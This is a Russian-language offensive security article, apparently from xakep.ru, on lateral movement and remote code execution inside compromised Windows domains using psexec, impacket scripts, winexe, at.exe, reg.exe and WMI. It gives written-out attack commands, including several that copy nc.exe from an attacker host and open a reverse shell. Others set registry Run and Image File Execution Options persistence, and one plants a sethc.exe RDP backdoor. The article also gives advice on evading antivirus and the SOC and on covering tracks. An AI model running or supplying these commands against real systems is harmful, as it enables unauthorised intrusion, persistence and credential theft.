Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Проникновение в атакуемую сеть — только первый этап взлома. На втором этапе необходимо в ней закрепиться, получить учетные записи пользователей и обеспечить возможность запуска произвольного кода. В сегодняшней статье мы поговорим о методах, позволяющих добиться этой цели, а также о том, как выполняется боковое перемещение в скомпрометированной сети.
info
Читай также: «Кунг‑фу pivoting. Выжимаем максимум из постэксплуатации».
После того как ты проник за внешний периметр и попал во внутреннюю сеть компании, необходимо расширить в ней собственное присутствие, если хочешь найти там что‑то интересное. Как ни странно, чем больше размер внутренней сети компании, тем проще ее взломать. И напротив, если компания совсем небольшая, сеть взломать порою крайне сложно. Почему так? Чем больше сеть, тем больше в ней может встретиться уязвимых или небезопасно настроенных компонентов. При этом часто компрометация одного узла влечет за собой компрометацию сразу множества смежных с ним узлов.
Во внутренних сетях обычно преобладают серверы и рабочие станции под управлением Windows. В то же время эта ОС наиболее интересна с точки зрения способов компрометации, так как по умолчанию имеет множество интерфейсов для удаленного выполнения кода. Кроме того, атакующему доступно большое количество способов извлечения учетных данных. Я не буду касаться бокового перемещения по серверам Linux: они редко включены в домен и не имеют такого разнообразия дефолтных интерфейсов для удаленного администрирования. При боковом перемещении Linux интересен главным образом как удобная точка опоры.
Боковое перемещение подразумевает легитимное удаленное исполнение кода. То есть все представленные в статье способы подразумевают наличие действующей учетной записи для того или иного ПК. При этом почти всегда будет требоваться административная учетная запись.
Основная задача при боковом перемещении — привлекать как можно меньше внимания пользователей и службы безопасности, а также постараться не вызвать тревогу у средств антивирусной защиты. Наиболее эффективно использовать штатные средства операционной системы, то есть абсолютно легитимные и неотличимые от действий обычных администраторов сети.
Мы не будем обсуждать основные уязвимости Windows, атаки в локальных сетях и способы поднять привилегии в среде Active Directory. Вместо этого поговорим исключительно о легальных вещах: в каких потаенных уголках Windows можно найти учетные записи и что с ними потом делать. Все представленные дальше способы не считаются уязвимостями, а представляют из себя трюки by design, следовательно, при грамотном исполнении это полностью легальные процедуры.
Все примеры основаны на реальных ситуациях, с которыми можно столкнуться при перемещении по самым настоящим внутренним сетям. Поэтому, как обычно, коснемся проблемы максимально тихого перемещения с возможностью байпаса антивирусов, а также сделаем акцент на то, какие сетевые порты нам для этого потребуются.
Итак, боковое перемещение — это одновременное сочетание двух техник:
Цикличное, последовательное повторение этих шагов порою позволяет от одного‑единственного взломанного ПК дойти до полной компрометации всей сетевой инфраструктуры. Обычно боковое перемещение, как всякое иное перемещение, преследует одну из следующих целей:
Однако для достижения любой из перечисленных целей требуются все новые учетные данные, чтобы у атакующего была возможность перемещаться по сети и получать доступ ко все большему количеству ПК. Продвижение по внутренней сети редко обходится без взятия контроллера домена, поскольку взятие домена означает автоматическое получение доступа практически к каждому узлу сети. Что касается admins hunting, при достижении контроллера домена может показаться, что поиск привилегированных учетных записей — это слепое угадывание. Но на самом деле инфраструктура Active Directory и сама Windows раскрывают достаточно информации простому доменному пользователю, зачастую позволяя рассчитать нужное направление продвижения и спланировать точную многоступенчатую цепочку взломов еще в самом начале бокового перемещения.
После взятия контроллеров домена иногда бывает необходимо двигаться дальше — в некий особо охраняемый сегмент, представляющий собой объекты «бизнес‑риска». Это может быть сегмент АСУ ТП, вмешательство в технологический процесс, доступ в сегмент SWIFT, если мы имеем дело с банками, либо же просто доступ на ПК генерального директора. В каждом случае мы можем столкнуться с разными сложностями бокового перемещения, о которых пойдет речь дальше.
Рассмотрим несколько способов удаленного исполнения кода в Windows с помощью учетной записи. Некоторые средства предоставляют удобный интерактивный режим, а некоторые — только слепой запуск команд без получения результата. Начнем обзор с самых удобных и широко распространенных инструментов и постепенно перейдем к менее популярным, но все же способным исполнить код.
Часть инструментов загружает на target исполняемый файл службы, пытаясь обеспечить нам удобный интерактивный режим. Но тут кроется опасность: такие сервисы зачастую будут заблокированы антивирусом. Плюс к этому IP атакующего может быть заблокирован, что затормозит перемещение. И SOC узнает о том, что в сеть кто‑то проник.
Большую часть бокового перемещения мы будем выполнять с помощью замечательного Python-пакета impacket. Для его установки требуется выполнить команду pip install impacket
. После установки необходимые исполняемые файлы будут находиться в папке impacket/examples
, расположение которой подскажет команда pip show -f impacket
.
Это реализация DCERPC от Microsoft. По сути, расширяет открытый DCERPC при помощи доступа через именованные пайпы с использованием протокола SMB. Главным образом использует 445-й TCP-порт. Перечислить доступные пайпы по словарю на SMB поможет модуль auxiliary/scanner/smb/pipe_auditor.
psexec.exe
Начиная говорить об удаленном исполнении кода в Windows, нельзя не упомянуть небезызвестный psexec
от Марка Руссиновича. Данная программа пользуется одинаковой популярностью и у администраторов, и у пентестеров. Принцип ее работы заключается в копировании исполняемого файла через сетевой ресурс «ADMIN$» (445/TCP)
с последующим удаленным созданием и запуском службы для этого исполняемого файла через DCERPC (135,4915x/TCP)
. После запуска службы происходит обычное сетевое взаимодействие с удаленной командной строкой:
psexec.exe -u admin \target cmd
Главный плюс для нас в том, что серверный компонент psexecsvc.exe
подписан сертификатом Sysinternals (который принадлежит Microsoft) и, следовательно, стопроцентно легитимная программа. Также к явным достоинствам классического psexec.exe
относится способность выполнять код в указанных пользовательских сеансах:
psexec.exe -u admin -i 2 \target shutdown /l
psexec.py
Отличная альтернатива для пользователей Linux. Однако этот инструмент почти наверняка поднимет антивирусную тревогу. Как было сказано, все дело в службе, которая копируется на удаленный хост. Это можно исправить, указав в реализации метода createService()
в /usr/local/lib/python3.7/dist-packages/impacket/examples/serviceinstall.py
произвольную команду, которая будет выполнена вместо запускаемой службы удаленного администрирования.
С помощью произвольной команды можно скрыть запуск службы удаленного администрирования
Чтобы psexec.py
не скопировал палевный компонент, указываем принудительно, какой файл использовать в качестве службы. И, поскольку мы уже вручную прописали команду, этим файлом может быть что угодно:
psexec.py -file somefile.txt admin@target
Таким образом, мы напрямую выполнили команду mkdir c:pwn
, что, конечно же, не вызовет реакции со стороны антивирусов. Однако подобная модификация psexec
лишает нас того удобства использования, которое было изначально.
winexe
Более старый нативный аналог psexec
под Linux. Как и psexec
, открывает удаленную интерактивную командную строку:
winexe -U admin //target cmd
В целом он полностью идентичен другим подобным инструментам, однако реже обнаруживается антивирусами. Но все же нельзя сказать, что winexe на сто процентов безопасен. Тем не менее его можно использовать для подстраховки на случай, если psexec.py
вдруг не сработает.
smbexec.py
Упрощенный вариант psexec
, также создающий службу, только используется при этом исключительно MSRPC, а доступ к управлению службами устроен через SMB-пайп svcctl
:
smbexec.py -mode SHARE admin@target
В результате будет открыт доступ к интерактивной командной строке.
services.py
Еще более упрощенный вариант psexec
. Тут предполагается, что мы сами ручками делаем то, что делает за нас psexec
. С помощью services.py
мы можем посмотреть список служб:
services.py admin@target list
Создать новую службу, указав произвольную команду:
services.py admin@target create -name 1 -display 1 -path 'cmd arg1 arg2'
Запустить только что созданную службу:
services.py admin@target start -name 1
Замести следы и удалить ее:
services.py admin@target delete -name 1
Все это дает нам еще один способ слепого неинтерактивного исполнения команд, то есть без результата. Зато это на сто процентов безопасный способ, и он не раз выручал меня, когда антивирусы на удаленном хосте убивали весь левый софт.
atexec.py/at.exe
Служба планировщика заданий Windows, доступная через smb-пайп atsvc
. Позволяет удаленно поместить в планировщик задачу, которая выполнится в указанный момент.
В обоих случаях это не интерактивное средство удаленного исполнения кода. При использовании at.exe
происходит слепое исполнение команд:
at.exe \target 13:37 "cmd /c copy \attackeranc.exe && nc -e windowssystem32cmd.exe attacker 8888"
А вот для atexec.py
команда выполнится с результатом:
atexec.py admin@target ipconfig
Вся разница в том, что результат выполнения команды будет направлен в файл и прочитан через сетевой ресурс ADMIN$
. Для своей работы инструмент требует, чтобы часы у attacker и target были настроены на одно время с точностью до минуты.
reg.exe
Удаленный доступ к реестру с правами на запись на самом деле нам дает RCE. Для своей работы инструмент требует SMB-пайп winreg
. По умолчанию служба удаленного реестра запущена только на серверных ОС Windows 2003–2019. А вот известный трюк с автозагрузкой (отложенное RCE):
reg.exe add \targetHKLMsoftwaremicrosoftwindowscurrentversionrun /v testprog /t REG_SZ /d "cmd /c copy \attackeranc.exe && nc -e windowssystem32cmd.exe attacker 8888"
Здесь используется обработчик запуска программы. Если программа запускается на ПК часто, то получим почти мгновенное RCE:
reg.exe add "\targetHKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionschrome.exe" /v Debugger /t reg_sz /d "cmd /c copy \attackeranc.exe && nc -e windowssystem32cmd.exe attacker 8888"
Мой любимый трюк с бэкдором в RDP:
reg.exe add "\targetHKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t reg_sz /d "windowssystem32cmd.exe"
Использует порты 135/TCP и 4915x/TCP, где 4915x — динамически назначаемые порты. Иногда могут использоваться порты из другого диапазона.
Очень часто сетевые администраторы и безопасники, которые в курсе наиболее распространенных векторов атак, в качестве mitigation просто блокируют порт 445/TCP. Тем самым они делают непригодным использование psexec
и многих других способов, описанных выше. Однако, как было сказано ранее, Windows имеет множество способов удаленного исполнения кода, и DCERPC предоставляет нам такую альтернативную возможность, в некоторых случаях открывая доступ к тем же RPC-интерфейсам. По сути, мы будем использовать не сам DCERPC, а то, что работает по его технологии, например WMI.
wmiexec.py
Скрипт wmiexec.py
дает возможность выполнить код в интерактивном режиме:
wmiexec.py admin@target
Однако было замечено, что хоть wmiexec.py
и не запускает на удаленной стороне никаких сторонних исполняемых файлов, антивирусы его иногда ловят. Кроме того, wmiexec.py
полезет за результатом на шару ADMIN$
, чем задействует порт 445/TCP. Более безопасным вариантом будет слепое RCE:
wmiexec.py -nooutput admin@target "mkdir c:pwn"
Источник: xakep.ru